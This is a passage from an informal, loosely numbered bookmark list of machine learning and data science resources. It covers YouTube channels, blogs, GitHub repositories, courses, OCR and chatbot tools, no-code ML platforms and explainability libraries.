5.Ineuron-https://www.youtube.com/channel/UCb1GdqUqArXMQ3RS86lqqOw 6.Ken jee-https://www.youtube.com/c/KenJee1/featured 7.3Blue1Brown-https://www.youtube.com/c/3blue1brown/featured 8.The AI Guy -https://www.youtube.com/channel/UCrydcKaojc44XnuXrfhlV8Q 9.Unfold Data Science-https://www.youtube.com/channel/UCh8IuVJvRdporrHi-I9H7Vw etc... ***BEST BLOGS TO FOLLOW*** https://www.cybrhome.com/topic/data-science-blogs AI Summary https://ai-summary.com/ https://www.datasciencecentral.com/profiles/blog/list https://developer.nvidia.com/blog/?ncid=em-prom-48627 1.Towards data science-https://towardsdatascience.com/ 2.Analyticsvidhya-https://www.analyticsvidhya.com/blog/?utm_source=feed&utm_medium=navbar https://analyticsindiamag.com/ https://www.analyticsinsight.net/ 3.Medium-https://medium.com/ 4.Machinelearningmastery-https://machinelearningmastery.com/blog/ 5.ML+ -https://www.machinelearningplus.com/ 6.analyticsinsight https://www.analyticsinsight.net/category/latest-news/ https://www.analyticsinsight.net/ 7.KDnuggets https://www.kdnuggets.com/ https://www.kdnuggets.com/news/index.html 8.Artificial Intelligence Database https://www.wired.com/category/artificial-intelligence/?verso=true https://machinelearningknowledge.ai/ https://github.com/rushter/data-science-blogs https://www.datamuni.com/ https://blog.ml.cmu.edu/?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine-learning-blog&utm_content=best-machine-learning-blogs-to-follow https://www.amazon.science/blog?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine+learning+blog&utm_content=machine+learning+blog&f0=0000016e-2ff1-d205-a5ef-aff9651e0000&s=0 https://distill.pub/?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine-learning-blog&utm_content=best-machine-learning-blogs-to-follow https://ai.googleblog.com/search/label/Machine%20Learning?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine-learning-blog&utm_content=best-machine-learning-blogs-to-follow https://neptune.ai/blog?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine+learning+blog&utm_content=machine+learning+blog https://bair.berkeley.edu/blog/?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine-learning-blog&utm_content=best-machine-learning-blogs-to-follow https://deepmind.com/research?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine-learning-blog&utm_content=machine-learning-blogs-to-follow&filters=%7B%22category%22:%5B%22Research%22%5D%7D https://ai.facebook.com/blog/?utm_source=towardsai.net&utm_medium=referral&utm_campaign=marketing&utm_term=machine-learning-blog&utm_content=machine-learning-blogs-to-follow https://becominghuman.ai/top-25-ai-and-machine-learning-blogs-for-data-scientists-9f121bcfd9a2 https://medium.com/towards-artificial-intelligence/best-machine-learning-blogs-to-follow-ml-research-ai-3994e01967f9 ***BEST RESOURCES*** https://amitness.com/toolbox/ https://khuyentran1401.github.io/Data-science/ https://github.com/ml-tooling/best-of-ml-python https://github.com/ml-tooling/best-of-ml-python#machine-learning-frameworks http://dfkoz.com/ai-data-landscape/ https://landscape.lfai.foundation/ https://towardsdatascience.com/data-science-tools-f16ecd91c95d https://mathdatasimplified.com/ https://github.com/neomatrix369/awesome-ai-ml-dl https://amitness.com/ https://postsyoumighthavemissed.com/search/ 1.paperswithcode-https://paperswithcode.com/methods https://www.paperswithcode.com/datasets paperswithcode-client https://github.com/paperswithcode/paperswithcode-client https://paperswithcode.com/lib/torchvision https://www.connectedpapers.com/main/4f2eda8077dc7a69bb2b4e0a1a086cf054adb3f9/EfficientNet-Rethinking-Model-Scaling-for-Convolutional-Neural-Networks/graph 2.madewithml-https://madewithml.com/topics/ https://madewithml.com/courses/applied-ml-in-production/ https://github.com/GokuMohandas/applied-ml modelzoo https://modelzoo.co/ Weights & Biases- https://wandb.ai/gallery sotabench-https://sotabench.com/ 3.Deep learning-https://course.fullstackdeeplearning.com/#course-content 4.pytorch deep learning-https://atcold.github.io/pytorch-Deep-Learning/ PYTORCH HUB https://pytorch.org/hub/ https://pytorch.org/hub/research-models 5.https://papers.labml.ai/papers/daily https://42papers.com/ https://www.kdnuggets.com/2019/08/pytorch-cheat-sheet-beginners.html https://www.kdnuggets.com/2019/04/nlp-pytorch.html https://www.kdnuggets.com/2019/08/9-tips-training-lightning-fast-neural-networks-pytorch.html fairscale PyTorch extensions for high performance and large scale training https://github.com/facebookresearch/fairscale PyTorch Lightning-https://github.com/PyTorchLightning/pytorch-lightning https://www.kdnuggets.com/2020/11/deploy-pytorch-lightning-models-production.html https://pytorch-lightning.medium.com/lightning-flash-0-3-new-tasks-visualization-tools-data-pipeline-and-flash-registry-api-1e236ba9530 PYTORCH - https://pytorch.org/ https://pytorch.org/ecosystem/ https://pytorch.org/tutorials/ https://pytorch.org/docs/stable/index.html https://github.com/pytorch/pytorch PYTORCH Lightning https://pytorchlightning.ai/community#projects https://seannaren.medium.com/introducing-pytorch-lightning-sharded-train-sota-models-with-half-the-memory-7bcc8b4484f2 ort Accelerate PyTorch models with ONNX Runtime https://github.com/pytorch/ort lightning-flash https://github.com/PyTorchLightning/lightning-flash https://pytorch-lightning.medium.com/introducing-lightning-flash-the-fastest-way-to-get-started-with-deep-learning-202f196b3b98 torchflare easy-to-use PyTorch Framework https://github.com/Atharva-Phatak/torchflare Lightning Bolts collection of well established, SOTA models and components https://github.com/PyTorchLightning/lightning-bolts Sharded: A New Technique To Double The Size Of PyTorch Models https://towardsdatascience.com/sharded-a-new-technique-to-double-the-size-of-pytorch-models-3af057466dba 𝗢𝗽𝗮𝗰𝘂𝘀 (𝘁𝗿𝗮𝗶𝗻𝗶𝗻𝗴 𝗣𝘆𝗧𝗼𝗿𝗰𝗵 𝗺𝗼𝗱𝗲𝗹𝘀 𝘄𝗶𝘁𝗵 𝗱𝗶𝗳𝗳𝗲𝗿𝗲𝗻𝘁𝗶𝗮𝗹 𝗽𝗿𝗶𝘃𝗮𝗰𝘆)-https://opacus.ai/ light-face-detection https://github.com/borhanMorphy/light-face-detection DALLE-pytorch https://github.com/lucidrains/DALLE-pytorch PyTorch JIT -https://lernapparat.de/jit-optimization-intro/ jax- https://github.com/google/jax incubator-mxnet - https://github.com/apache/incubator-mxnet ignite-https://github.com/pytorch/ignite fastText - https://github.com/facebookresearch/fastText rapidminer-https://rapidminer.com/ 5.deep-learning-drizzle-https://deep-learning-drizzle.github.io/ https://deep-learning-drizzle.github.io/index.html 6.Fastaibook-https://github.com/fastai/fastbook , https://course.fast.ai/ https://www.fast.ai/2019/07/08/fastai-nlp/ https://www.fast.ai/2020/08/21/fastai2-launch/ neptune.ai-https://docs.neptune.ai/index.html Dive into Deep Learning http://d2l.ai/ 7.TopDeepLearning-https://github.com/aymericdamien/TopDeepLearning 8.NLP-progress-https://github.com/sebastianruder/NLP-progress 9.EasyOCR,textract,pytesseract,tesserocr,Amazon textract,TabulaPy, pyzbar,pyocr,OCR With Detectron2,PymuPDF,Camelot,keras ocr,Keras CRNN,PDFTableExtract(by PyPDF2),tesseract-ocr,PyMuPDF,pyocr,Apache Tika,pdfPlumber,PDFMiner,PyPDF2,pdfMiner3,pdf2image,pdfquery,TextOCR,keras-CTPN,pytorch-CTPN,ocr.pytorch,layout-parser,tabula,Spark OCR,mmocr,Amazon Rekognition ,Amazon Textract,Azure OCR, Google OCR,PaddleOCR,TrOCR,MMOCR,awesome OCR,Paddle OCR,OCRmyPDF,calamari, attention ocr,Mozart,pdftabextract,Doc2Text,OpenCV’s EAST,deepdoctection,EAST text detector,slate3k,textract,CRAFT-pytorch,ocr donut,LOGOS ocr, ocrpy,docquery,Parsr,DocuQuery,LayoutLM,docTR,docquery,CascadeTabNet,OpenCV,OCRopus,Kraken,OCRmypdf,MMOCR,PPOCR,Keras-OCR,MultiOcr,TrOCR,docTR Processing documents as Text: extract text with PyPDF2, extract tables with Camelot or TabulaPy, extract figures with PyMuPDF. Converting documents into Image (OCR): conversion with pdf2image, extract data with PyTesseract plus many other supporting libraries, or just LayoutParser. OCR toolbox from Davar-Lab https://github.com/hikopensource/davar-lab-ocr To pdf: python-pdfkit,wkhtmltopdf,FPDF 10.Awesome-pytorch-list-https://github.com/bharathgs/Awesome-pytorch-list https://shivanandroy.com/awesome-nlp-resources/ 11.free-data-science-books-https://github.com/chaconnewu/free-data-science-books 12.arcgis-https://github.com/Esri/arcgis-python-api https://geemap.org/ 13.data-science-ipython-notebooks-https://github.com/donnemartin/data-science-ipython-notebooks 14.julia-https://github.com/JuliaLang/julia , https://docs.julialang.org/en/v1/ 15.google-research-https://github.com/google-research/google-research 16.reinforcement-learning-https://github.com/dennybritz/reinforcement-learning 17.keras-applications-https://github.com/keras-team/keras-applications , https://github.com/keras-team/keras https://keras.io/examples/ 18.opencv-https://github.com/opencv/opencv 19.transformers-https://github.com/huggingface/transformers 20.code implementations for research papers-https://chrome.google.com/webstore/detail/find-code-for-research-pa/aikkeehnlfpamidigaffhfmgbkdeheil 21.regarding satellite images - Geo AI,Arcgis,geemap ersi arcgis-https://www.esri.com/en-us/arcgis/about-arcgis/overview earthcube-https://www.earthcube.eu/ geemap-https://geemap.org/ 22.Monk_Object_Detection-https://github.com/Tessellate-Imaging/Monk_Object_Detection https://github.com/Tessellate-Imaging/monk_v1 https://analyticsindiamag.com/build-computer-vision-applications-with-few-lines-of-code-using-monk-ai/ pyradox https://github.com/Ritvik19/pyradox 23.NLP-progress - https://github.com/sebastianruder/NLP-progress 24.interview-question-data-science-https://github.com/iNeuronai/interview-question-data-science- 27.Tool for visualizing attention in the Transformer model-https://github.com/jessevig/bertviz 28.TransCoder-https://github.com/facebookresearch/TransCoder 29.Tessellate-Imaging-https://github.com/Tessellate-Imaging/monk_v1 Monk_Object_Detection-https://github.com/Tessellate-Imaging/Monk_Object_Detection/tree/master/application_model_zoo Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials- https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials 30.Machine-Learning-with-Python-https://github.com/tirthajyoti/Machine-Learning-with-Python 31.huggingface contain almost all nlp pretrained model and all tasks related to nlp field https://huggingface.co./course/chapter0?fw=pt https://huggingface.co./models https://www.kdnuggets.com/2021/02/hugging-face-transformer-basics.html https://huggingface.co./modelsz https://github.com/huggingface https://github.com/huggingface/transformers https://huggingface.co./transformers/ https://huggingface.co./transformers/master/ https://github.com/huggingface/tokenizers hugging face spaces https://huggingface.co./spaces Hugging Face pipelines https://towardsdatascience.com/effortless-nlp-using-pre-trained-hugging-face-pipelines-with-just-3-lines-of-code-a4788d95754f Fine-tuning pretrained NLP models with Huggingface’s Trainer https://towardsdatascience.com/fine-tuning-pretrained-nlp-models-with-huggingfaces-trainer-6326a4456e7b Mixing Hugging Face Models with Gradio 2.0 https://gradio.app/blog/using-huggingface-models https://huggingface.co./blog/gradio ktrain https://github.com/amaiya/ktrain Top 6 Alternatives To Hugging Face https://analyticsindiamag.com/top-6-alternatives-to-hugging-face/ 32.multi-task-NLP-https://github.com/hellohaptik/multi-task-NLP 33.gpt-2 - https://github.com/openai/gpt-2 34.Powerful and efficient Computer Vision Annotation Tool (CVAT)-https://github.com/openvinotoolkit/cvat, https://github.com/abreheret/PixelAnnotationTool https://github.com/UniversalDataTool/universal-data-tool http://www.robots.ox.ac.uk/~vgg/software/via/ 36.awesome Data Science-https://github.com/academic/awesome-datascience 39.Super Duper NLP Repo-https://notebooks.quantumstat.com/ https://models.quantumstat.com/ https://miro.com/app/board/o9J_kqndLls=/ https://datasets.quantumstat.com/ https://index.quantumstat.com/ https://notebooks.quantumstat.com/?utm_campaign=NLP%20News&utm_medium=email&utm_source=Revue%20newsletter 40.papers summarizing the advances in the field-https://github.com/eugeneyan/ml-surveys 41.deep-translator-https://github.com/nidhaloff/deep-translator 44.ipython-sql-https://github.com/catherinedevlin/ipython-sql 45.libra-https://github.com/Palashio/libra 46.opencv-https://github.com/opencv/opencv 47.learnopencv-https://github.com/spmallick/learnopencv , https://www.learnopencv.com/ 48.math is fun-https://www.mathsisfun.com/ , https://pabloinsente.github.io/intro-linear-algebra, https://hadrienj.github.io/posts/Deep-Learning-Book-Series-Introduction/ 49.DEEP LEARNING WITH PYTORCH: A 60 MINUTE BLITZ - https://pytorch.org/tutorials/beginner/deep_learning_60min_blitz.html 50.https://data-flair.training/blogs/ https://data-flair.training/blogs/python-tutorials-home/ https://data-flair.training/blogs/hadoop-tutorials-home/ https://data-flair.training/blogs/spark-tutorials-home/ https://data-flair.training/blogs/tableau-tutorials-home/ https://data-flair.training/blogs/data-science-tutorials-home/ Spark Release 3.0.1-https://spark.apache.org/releases/spark-release-3-0-1.html https://neptune.ai/blog/apache-spark-tutorial Koalas on Apache Spark - Pandas API https://www.youtube.com/watch?v=kOtAMiMe1JY&t=482s https://koalas.readthedocs.io/en/latest/ mllib https://spark.apache.org/docs/2.0.0/api/python/pyspark.mllib.html https://spark.apache.org/docs/2.0.0/api/python/index.html https://data-flair.training/blogs/spark-tutorial/ Spark Core,Spark SQL,Spark Streaming,Spark MLlib,Spark GraphX,etc... Machine Learning with Optimus on Apache Spark https://www.kdnuggets.com/2017/11/machine-learning-with-optimus.html BigDL: Distributed Deep Learning Framework for Apache Spark https://github.com/intel-analytics/BigDL 51.for more cheatsheets-https://github.com/FavioVazquez/ds-cheatsheets , https://medium.com/swlh/the-ultimate-cheat-sheet-for-data-scientists-d1e247b6a60c https://www.theinsaneapp.com/2020/12/machine-learning-and-data-science-cheat-sheets-pdf.html https://stanford.edu/~shervine/teaching/cs-229/cheatsheet-supervised-learning 52.text2emotion-https://pypi.org/project/text2emotion/ 53.ExploriPy-https://analyticsindiamag.com/hands-on-tutorial-on-exploripy-effortless-target-based-eda-tool/ 54.TCN-https://github.com/philipperemy/keras-tcn 56.earthengine-py-notebooks-https://github.com/giswqs/earthengine-py-notebooks 58.numerical-linear-algebra -https://github.com/fastai/numerical-linear-algebra 61.chatbot- from scratch,google dialogflow,rasa nlu,azure luis, Azure Bot Service,chatterbot,Amazon lex,Wit.ai,Luis.ai,IBM Watson,Parrot etc... Chatterbot,Botkit,BotPress,Bottender,IBM Watson,Microsoft bot Framework,Pandorabots,RASA Stack,Pandorabots,BlenderBot3,DeepPavlov,OpenDialogTock,Wit.ai, Pandorabots,Proto AIC,HubSpot Chatbot Builder,Intercom,Zendesk,Freshworks,Botsify,Tidio,Infobip,OpenChat ChatGPT openai chatboat and search engine,meta ChatLLaMA ,VisualChatGPT,ViperGPT,GPT-4,AutoGPT,babyagi,ChaosGPT,Agentgpt,MiniGPT-4,GPT4 All ,BabyAGI and Auto-GPT,Dolly,Camel,claude2,bing,Code Interpreter,Anthropic's Bard google chatboat and search engine,PALM API,OpenChatKit: Open-Source ChatGPT Alternative meta LLaMA,LLaMA-v2,Alpaca 7B,h2o-llmstudio,StableLM,HuggingChat Ernie bot,Baidu chatbot,Claude,Alpaca,ChatGLM,Bloomberg-GPT,Vicuna,StackLLaMA,h2o-llmstudio,Claude 2,Perplexity Ai,FreeWilly1,FreeWilly2,Falcon,Dolly,Guanaco,BloomZ,Alpaca,OpenChatKit,GPT4ALL,Vicuna,Flan-T5,FalconLite ,StableBeluga2,Tongyi Qianwen no code chatbots https://juji.io/ https://github.com/fendouai/Awesome-Chatbot https://medium.com/nerd-for-tech/make-money-building-a-fast-powerful-chatbot-in-10-minutes-using-nltk-91038e15ab17 https://www.analyticsinsight.net/category/chatbots/ https://www.promaticsindia.com/blog/here-are-the-most-popular-chatbot-development-frameworks/ https://neptune.ai/blog/building-machine-learning-chatbots-platforms-and-applications?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-building-machine-learning-chatbots-platforms-and-applications https://blog.ubisend.com/optimise-chatbots/chatbot-training-data OpenChat: Open Source Chatting Framework for Generative Models https://analyticsindiamag.com/a-brief-overview-of-openchat-open-source-chatting-framework-for-generative-models/ 62. No Code Machine Learning / Deep Learning https://analyticsindiamag.com/top-12-no-code-machine-learning-platforms-in-2021/ https://www.pye.ai/2021/06/01/2021-list-of-top-data-science-platforms-end-to-end-machine-learning/ https://serokell.io/blog/top-no-code-platforms https://www.nanalyze.com/2021/04/no-code-platforms-machine-learning/ Akkio, Obviously.ai, DataRobot, Levity, Clarifai, Teachable Machines, Lobe,pimer,DynaBench,APAflow,Runway AI,Obviously AI,CreateML,MakeML,Fritz AI,MonkeyLearn,Nanonets,SuperAnnotate,CausaLens,Levity,Clarifai,BigML,Teachable Machine,actable,Bonsai,labelsleuth,Cooka,oracle AutoML,EdgeImpulse,Mantium AI,Sway,Graphite,DataRobot,Graphite Note,Levity,MakeML,MonkeyLearn,Noogata,Obviously.ai,Pecan,RapidMiner,RunwayML,SuperAnnotate,KNIME,DashB.ai,NoCode-ML,BMW-TensorFlow-Training-GUI,Akkio Teachable Machine-https://teachablemachine.withgoogle.com/ Vertex AI https://cloud.google.com/vertex-ai/docs/start/automl-users Microsoft Lobe -https://lobe.ai/ Ludwig https://github.com/ludwig-ai/ludwig WEKA - https://www.cs.waikato.ac.nz/ml/weka/ autoweka Create ML https://developer.apple.com/documentation/createml APAflow https://apaflow.com/?utm_medium=social&utm_source=linkedin&utm_campaign=postfity&utm_content=postfity0b527 https://apaflow.com/ Monk_Gui-https://github.com/Tessellate-Imaging/Monk_Gui FlashML https://www.flash-ml.com/ JADBio’s https://www.jadbio.com/ JOHN SNOW LABS https://www.johnsnowlabs.com/models-training-and-active-learning-in-john-snow-labs-annotation-lab/ igel https://github.com/nidhaloff/igel BRYTER https://bryter.com Ushur https://ushur.com Accern https://accern.com Signzy https://signzy.com Runway https://runwayml.com Fritz AI https://www.fritz.ai BigML, Inc https://bigml.com MyDataModels https://lnkd.in/eejjDbM MonkeyLearn https://monkeylearn.com Levity https://levity.ai Nanonets https://nanonets.com obviously https://www.obviously.ai/ machine learning straight from Microsoft Excel https://venturebeat.com/2020/12/30/you-dont-code-do-machine-learning-straight-from-microsoft-excel/ ENNUI-https://math.mit.edu/ennui/ https://github.com/martinjm97/ENNUI https://www.youtube.com/watch?v=4VRC5k0Qs2w Knime https://www.knime.com/ Accord.net http://accord-framework.net/ DeepDev https://realmichaelye.github.io/DeepDev/deepdev.tech%20-%20Landing%20Page/ https://github.com/realmichaelye/DeepDev H2O Driverless AI https://www.h2o.ai/products/h2o-driverless-ai/ Oracle AutoML https://medium.com/nerd-for-tech/oracles-automl-what-it-is-and-how-it-works-12e09a832c2 https://docs.oracle.com/en-us/iaas/tools/ads-sdk/latest/user_guide/overview/overview.html Rapid Miner https://rapidminer.com/ opennn https://www.opennn.net/ datarobot https://www.datarobot.com/ dataiku https://www.dataiku.com/product/get-started/ orange https://orange.biolab.si/ Databricks AutoML Automate Machine Learning using Databricks AutoML https://pub.towardsai.net/automate-machine-learning-using-databricks-automl-a-glass-box-approach-and-mlflow-2543a8143687 OpenBlender https://openblender.io/#/welcome https://analyticsindiamag.com/how-to-use-openblender-the-leading-data-blending-tool/ create neural networks with one line of code https://github.com/PraneetNeuro/nnio.l AWS SageMaker AutoPilot https://aws.amazon.com/sagemaker/autopilot/ Machine Learning in JUST ONE LINE OF CODE libra https://github.com/Palashio/libra/ https://www.youtube.com/watch?v=N_T_ljj5vc4 perceptilabs https://towardsdatascience.com/easy-model-building-with-perceptilabs-interactive-tensorflowvisualization-gui-834d5bb3c973 64.tensorflow development-https://blog.tensorflow.org/ TensorFlow Hub (trained ready-to-deploy machine learning models in one place) - https://tfhub.dev/ CrypTFlow: An End-to-end System for Secure TensorFlow Inference https://github.com/mpc-msri/EzPC https://pratik-bhatu.medium.com/privacy-preserving-machine-learning-for-healthcare-using-cryptflow-cc6c379fbab7 TensorBoard.dev - https://tensorboard.dev/ tutorials-https://www.tensorflow.org/tutorials https://www.tensorflow.org/guide TensorFlow Graphics - https://www.tensorflow.org/graphics Lattice-https://www.tensorflow.org/lattice TensorFlow Probability-https://www.tensorflow.org/probability TensorFlow Privacy- tensorflow-privacy https://developers.google.com/learn/topics/on-device-ml https://www.tensorflow.org/lite/guide/model_maker https://tfhub.dev/ https://www.tensorflow.org/cloud 63.Data Science in the Cloud-Amazon SageMaker,Amazon Lex,Amazon Rekognition,Azure Machine Learning (Azure ML) Services,Azure Service Bot framework,Google Cloud AutoML 64.platforms to build and deploy ML models -Uber has Michelangelo,Google has TFX,Databricks has MLFlow,Amazon Web Services (AWS) has Sagemaker 66.ML from scratch-https://dafriedman97.github.io/mlbook/content/introduction.html https://aihubprojects.com/machine-learning-from-scratch-python/ https://github.com/python-engineer/MLfromscratch https://www.youtube.com/watch?v=rLOyrWV8gmA https://www.datasciencecentral.com/profiles/blogs/a-complete-tutorial-to-learn-data-science-with-python-from https://medium.com/@mattybv3/learn-data-science-from-scratch-curriculum-with-20-free-online-courses-8cff96d6cbe5 67.turn-on visual training for most popular ML algorithms https://github.com/lucko515/ml_tutor https://pypi.org/project/ml-tutor/ 68.mlcourse.ai is a free online- https://mlcourse.ai/ 72.R for Data Science-https://r4ds.had.co.nz/ ,Fundamentals of Data Visualization-https://clauswilke.com/dataviz/ 74.machine learning in JavaScript-https://www.tensorflow.org/js https://www.tensorflow.org/js/models https://tensorflow-js-object-detection.glitch.me/ TensorFlow.jl Julia with TensorFlow https://malmaud.github.io/tfdocs/ https://malmaud.github.io/TensorFlow.jl/latest/tutorial.html Sonnet is a library built on top of TensorFlow 2 https://github.com/deepmind/sonnet TensorFlow Federated (TFF) ( facilitate open research and experimentation with Federated Learning)-https://www.tensorflow.org/federated TFX is an end-to-end platform for deploying production ML pipelines https://www.tensorflow.org/tfx https://github.com/tensorflow/tfx https://analyticsindiamag.com/guide-to-tensorflow-extendedtfx-end-to-end-platform-for-deploying-production-ml-pipelines/ Federated Learning -https://www.tensorflow.org/federated/tutorials/federated_learning_for_image_classification Neural Structured Learning-https://www.tensorflow.org/neural_structured_learning/tutorials/graph_keras_mlp_cora Responsible AI-https://www.tensorflow.org/resources/responsible-ai https://www.tensorflow.org/graphics 75.free list of AI/ Machine Learning Resources/Courses-https://www.marktechpost.com/free-resources/ https://github.com/kabartay/OpenUnivCourses Open ML University https://curriculum.openmlu.com/ https://www.kdnuggets.com/2018/11/10-free-must-see-courses-machine-learning-data-science.html https://www.kdnuggets.com/2018/12/10-more-free-must-see-courses-machine-learning-data-science.html https://www.theinsaneapp.com/2020/12/machine-learning-and-data-science-cheat-sheets-pdf.html https://www.theinsaneapp.com/2020/11/free-machine-learning-data-science-and-python-books.html 65 Machine Learning and Data books for free- https://towardsdatascience.com/springer-has-released-65-machine-learning-and-data-books-for-free-961f8181f189 https://www.deeplearningbook.org/ http://d2l.ai/ https://www.theinsaneapp.com/2020/12/download-free-machine-learning-books.html https://www.datasciencecentral.com/profiles/blogs/free-500-page-book-on-applications-of-deep-neural-networks-1 https://github.com/jeffheaton/t81_558_deep_learning https://www.theinsaneapp.com/2020/12/free-data-science-books-pdf.html https://www.datasciencecentral.com/profiles/blogs/free-500-page-book-on-applications-of-deep-neural-networks-1 https://github.com/chaconnewu/free-data-science-books https://www.kdnuggets.com/2020/03/24-best-free-books-understand-machine-learning.html https://www.kdnuggets.com/2020/12/15-free-data-science-machine-learning-statistics-ebooks-2021.html http://introtodeeplearning.com/ https://www.theinsaneapp.com/2020/12/free-data-science-books-pdf.html http://d2l.ai/index.html https://www.kdnuggets.com/2020/09/best-free-data-science-ebooks-2020-update.html https://www.youtube.com/playlist?app=desktop&list=PLypiXJdtIca5ElZMWHl4HMeyle2AzUgVB https://mit6874.github.io/ 79.For practice -https://www.confetti.ai/exams 80.Yellowbrick-https://towardsdatascience.com/introduction-to-yellowbrick-a-python-library-to-explain-the-prediction-of-your-machine-learning-d63ecee10ecc 81.Mathematics of Machine Learning,deep learning-https://towardsdatascience.com/the-mathematics-of-machine-learning-894f046c568 https://github.com/hrnbot/Basic-Mathematics-for-Machine-Learning https://towardsdatascience.com/the-roadmap-of-mathematics-for-deep-learning-357b3db8569b https://medium.com/towards-artificial-intelligence/basic-linear-algebra-for-deep-learning-and-machine-learning-ml-python-tutorial-444e23db3e9e https://www.kdnuggets.com/2020/02/free-mathematics-courses-data-science-machine-learning.html https://towardsai.net/p/data-science/how-much-math-do-i-need-in-data-science-d05d83f8cb19 https://www.mltut.com/how-to-learn-math-for-machine-learning-step-by-step-guide/ https://stanford.edu/~shervine/teaching/cs-229/cheatsheet-machine-learning-tips-and-tricks# https://www.datasciencecentral.com/profiles/blogs/free-online-book-machine-learning-from-scratch https://hadrienj.github.io/posts/Essential-Math-for-Data-Science-Introduction_to_matrices_and_matrix_product/?utm_source=linkedin&utm_medium=social&utm_campaign=linkedin_matrices https://www.youtube.com/playlist?list=PLRDl2inPrWQW1QSWhBU0ki-jq_uElkh2a https://github.com/jonkrohn/ML-foundations https://ocw.mit.edu/resources/res-18-001-calculus-online-textbook-spring-2005/textbook/ 82.Googleai-https://ai.google/education 83.ELI5 is a Python package which helps to debug machine learning classifiers and explain their predictions PyBrain is a modular Machine Learning Library for Python 84.Best Online Courses for Machine Learning and Data Science-https://www.mltut.com/best-online-courses-for-machine-learning-and-data-science/ Comprehensive Project Based Data Science Curriculum https://julienbeaulieu.github.io/2019/09/25/comprehensive-project-based-data-science-curriculum/ AI Expert Roadmap-https://i.am.ai/roadmap/#data-science-roadmap 86.Yann LeCun’s Deep Learning Course at CDS-https://cds.nyu.edu/deep-learning/ https://atcold.github.io/pytorch-Deep-Learning/ https://atcold.github.io/pytorch-Deep-Learning/ https://www.cs.cmu.edu/~ninamf/courses/601sp15/lectures.shtml 88.Python Data Science Handbook https://jakevdp.github.io/PythonDataScienceHandbook/ 91.AudioFeaturizer when deal with audio data- https://pypi.org/project/AudioFeaturizer/ liborsa library https://librosa.org/doc/latest/index.html MAGENTA-https://magenta.tensorflow.org/ pydub https://github.com/jiaaro/pydub DDSP: Differentiable Digital Signal Processing https://github.com/magenta/ddsp https://analyticsindiamag.com/guide-to-differentiable-digital-signal-processing-ddsp-library-with-python-code/ 92.Palladium-https://palladium.readthedocs.io/en/latest/ 94.Facebook Open Sourced New Frameworks to Advance Deep Learning Research https://www.kdnuggets.com/2020/11/facebook-open-source-frameworks-advance-deep-learning-research.html 95.Software Engineering for Machine Learning https://github.com/SE-ML/awesome-seml 96.Atlas web-based dashboard -https://www.atlas.dessa.com/ 97.Pytest (test code) https://docs.pytest.org/en/latest/index.html (test code) 98.keras- https://keras.io/ https://keras.io/api/ https://keras.io/examples/ 99.High-Performance Jupyter Notebook - BlazingSQL Notebooks https://blazingsql.com/notebooks jupyter-tabnine https://github.com/wenmin-wu/jupyter-tabnine 101.Kubeflow Machine Learning Toolkit for Kubernetes https://www.kubeflow.org/ 102.Daily AI updates to your inbox- https://sago-ai.news/#/ 103.Three API styles - Sequential Model,functional API,Model subclassing 104.Deep Learning Toolkit for Medical Image Analysis -https://github.com/DLTK/DLTK 3 Python Packages for Machine Learning Validation Evidently,Deepchecks,TensorFlow-Data-Validation 106.Explainability : Model-Specific explainability(Explainability method is strictly relevant to specific model) ,Model-Agnostic explainability ( Explanation to any type model),Model-Centric explainability(most Explanation methods are Model-Centric, as these methods are used to explain how the features and target values are being adjusted),Data-Centric explainability(these methods are used to understand the nature of the data) Interpret The ML Model https://towardsdatascience.com/explainable-artificial-intelligence-part-3-hands-on-machine-learning-model-interpretation-e8ebe5afc608 https://christophm.github.io/interpretable-ml-book/ https://www.kaggle.com/getting-started/209632 https://ex.pegg.io/ https://neptune.ai/blog/explainability-auditability-ml-definitions-techniques-tools?utm_source=twitter&utm_medium=tweet&utm_campaign=blog-explainability-auditability-ml-definitions-techniques-tools shap,lime,Shapash,webshap,ELI5,InterpretML,Concept Relevance Propagation,OmniXAIEli5,Yellowbrick,Mlxtend,PDPBox,InterpretML,Partial Dependence Plots (PDP), Individual Conditional Expectation (ICE) Plots, Accumulated Local Effects (ALE) Curves and Permutation Importance,Casual shap values,Integrated Gradients,Anchors,Feature importance/attribution,SmoothGrad,DeepLIFT,GradientExplainer,decision tree surrogates, xplique,ANCHORS,Permutation Importance,Morris Sensitivity Analysis,Contrastive Explanation Method (CEM),Counterfactual Instances,Global Interpretation via Recursive,Partitioning (GIRP),Protodash,Scalable Bayesian Rule Lists,Tree Surrogates,Explainable Boosting Machine (EBM),DALEX,ALIBI,DiCE,Explainerdashboards,TCAV,PiML,Xplique,Explainer_dashboard,InterpretML,tcav,FeatureImportance,Layerwise Propagation,Surrogate,Explainer Partial Dependence,solas,ferret,Integrated Gradients,DeepLift,Explainable Boosting Machine,Saliency maps,TCAV,Distillation,Counterfactual,interpretML,pdpbox,PyALE,interpret, Fast interpretable,greedy-tree sums,interpretml,imodels,ferret,Counterfactual explanations ,Layerwise Relevance Propagation,Integrated Gradients (IG),Deep LIFT, Saliency,Feature Ablation,Occlusion,captum,Accumulated Local Effects,Anchors,Integrated Gradients,Counterfactuals,GradientShap,FastTreeShap,DeepLift,DeepLiftShap,IntegratedGradients,LayerConductance,NeuronConductance,NoiseTunnel,InterpretML,ALIBI DiCE,interpret-text,aix360,OmniXAI,BreakDown,interpret-text,iml (Interpretable Machine Learning),OmniXAI,Explainerdashboard,InterpretML,ELI5,Netron,DoWhy,CausalNex,explainerdashboard,fairlearn,arviz,Explainability,iNNvestigate,Model Analysis,Permutation feature importance,Partial dependency plots, OmniXAI: A Library for eXplainable AI https://github.com/salesforce/OmniXAI Xplique is a Neural Networks Explainability Toolbox https://github.com/deel-ai/xplique/ Ethical-AI Toolkits https://murat-durmus.medium.com/an-brief-overview-of-some-ethical-ai-toolkits-712afe9f3b3a ferret python package for benchmarking interpretability techniques https://github.com/g8a9/ferret explaining machine learning models 